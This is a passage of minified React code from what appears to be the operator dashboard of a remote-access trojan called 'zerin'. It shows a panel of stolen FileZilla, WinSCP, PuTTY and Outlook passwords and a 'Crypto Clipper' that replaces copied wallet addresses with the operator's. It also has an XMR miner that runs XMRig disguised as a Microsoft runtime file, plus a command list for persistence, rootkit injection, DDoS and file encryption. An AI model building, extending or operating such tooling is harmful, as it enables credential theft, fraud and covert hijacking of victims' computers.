installed"})]}),(((F=i.filezilla)==null?void 0:F.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[E.host,":",E.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})})]}),(((H=i.winscp)==null?void 0:H.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})})]}),(((G=i.putty)==null?void 0:G.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:E.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[E.host,":",E.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.user})]},X))})})]}),(((re=i.outlook)==null?void 0:re.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})})]}),!((oe=i.telegram)!=null&&oe.found)&&!((he=i.filezilla)!=null&&he.length)&&!((pe=i.winscp)!=null&&pe.length)&&!((Y=i.putty)!=null&&Y.length)&&!((ee=i.outlook)!=null&&ee.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),(((C=i.errors)==null?void 0:C.length)??0)>0&&s.jsx($r,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((E,X)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[E.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:E.error})]},X))})})]}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function $r({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const $U=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],BU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function v2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function FU({agentId:e,agentStatus:t}){const[n,r]=p.useState({...BU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=v2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=v2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ce(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ce(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ce(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors disabled:opacity-30 disabled:cursor-not-allowed ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:$U.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text placeholder-zerin-text-muted focus:outline-none focus:ring-1 transition-all ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const g2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function WU({agentId:e,agentStatus:t}){const[n,r]=p.useState(g2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,O)=>{h({text:z,type:O}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const O=await Rn(e),_=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(_.length>0){const T=_[0],P=(O.results??[]).find(R=>R.task_id===T.id);if(P!=null&&P.output)try{const R=JSON.parse(P.output);g(R)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ce(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ce(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ce(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ce(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const O=Math.floor(z/3600),_=Math.floor(z%3600/60),T=Math.floor(z%60);return O>0?`${O}h ${_}m ${T}s`:_>0?`${_}m ${T}s`:`${T}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(fa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(fa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(fa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(fa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(fa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(fa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:g2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function fa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const y2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],UU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},xp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function VU(){const{id:e}=Vo(),t=rr(),[n,r]=fx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const D=n.get("tab");return D&&xp.includes(D)?D:"overview"}),[S,N]=p.useState(()=>{const D=n.get("tab"),ce=new Set(["overview"]);return D&&xp.includes(D)&&ce.add(D),ce}),[z,O]=p.useState(null),[_,T]=p.useState(!0),[P,R]=p.useState(!1),[V,$]=p.useState(null),[L,W]=p.useState(new Set),[B,U]=p.useState(()=>n.get("auto")==="1"),[F,H]=p.useState(null),[G,re]=p.useState(-1),[oe,he]=p.useState(!1),pe=p.useRef(null);p.useEffect(()=>{N(D=>{if(D.has(j))return D;const ce=new Set(D);return ce.add(j),ce})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const D=n.get("tab");D&&xp.includes(D)&&D!==j&&k(D)},[n]);const Y=D=>{k(D),D==="overview"?n.delete("tab"):n.set("tab",D),r(n,{replace:!0})},ee=p.useCallback(async()=>{if(e)try{const D=await zE(e);a(D),h("");try{const ce=await Rn(e);l(ce.tasks??[]),u(ce.results??[])}catch{l([]),u([])}}catch(D){a(null);const ce=D instanceof Error&&"status"in D?D.status:"network";h(D instanceof Error?`${D.message} (${ce})`:String(D))}finally{f(!1)}},[e]);p.useEffect(()=>{ee();const D=setInterval(ee,5e3);return()=>clearInterval(D)},[ee]),p.useEffect(()=>{if(!e)return;let D=!0;const ce=async()=>{try{const J=await WE(e);D&&H(J)}catch{D&&H(null)}};ce();const K=setInterval(ce,3e3);return()=>{D=!1,clearInterval(K)}},[e]),p.useEffect(()=>{if(!z)return;const D=ce=>{ce.key==="Escape"&&O(null)};return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[z]);const C=p.useMemo(()=>[...o].sort((D,ce)=>new Date(D.created_at).getTime()-new Date(ce.created_at).getTime()),[o]),E=5e3,X=p.useMemo(()=>{var ce;const D=[];for(const K of C){const J=(ce=K.args)!=null&&ce.length?" "+K.args.join(" "):"";D.push({type:"command",content:`${K.command}${J}`,timestamp:K.created_at});const le=c.find(q=>q.task_id===K.id);le?(le.error&&D.push({type:"error",content:le.error,timestamp:le.completed_at}),le.output&&D.push({type:"output",content:le.output,timestamp:le.completed_at})):K.status==="queued"||K.status==="sent"?D.push({type:"system",content:`[${K.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):K.status==="timeout"&&D.push({type:"error",content:"[Task timed out]"})}if(D.length>E){const K=D.slice(D.length-E);return K.unshift({type:"system",content:`[Output truncated: showing last ${E.toLocaleString()} of ${D.length.toLocaleString()} lines]`}),K}return D},[C,c]),I=p.useMemo(()=>{const D=[];for(const ce of C){if(ce.command!=="screenshot")continue;const K=c.find(J=>J.task_id===ce.id);if(K!=null&&K.data){const J=FA(K.data)?BA(K.data):`data:image/png;base64,${K.data}`;D.push({taskId:ce.id,timestamp:K.completed_at,dataUrl:J})}}return D},[C,c]),ne=x?y2.filter(D=>D.startsWith(x.split(" ")[0])&&D!==x.split(" ")[0]):y2;async function me(D){var le;if(D.preventDefault(),!e||!x.trim())return;const ce=x.trim().split(/\s+/),K=ce[0],J=ce.slice(1);v(!0),w(!1);try{await Ce(e,{command:K,args:J}),g(""),$(null),setTimeout(ee,500)}catch(q){$(`[SEND FAILED] ${q instanceof Error?q.message:"Unknown error"}`)}finally{v(!1),(le=pe.current)==null||le.focus()}}function ve(D){var ce;g(D+" "),w(!1),(ce=pe.current)==null||ce.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ee=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim hover:text-zerin-accent transition-colors px-2 py-1 hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ee}),s.jsx(nd,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Ws(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await mx(i.id);const D=et(),ce=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 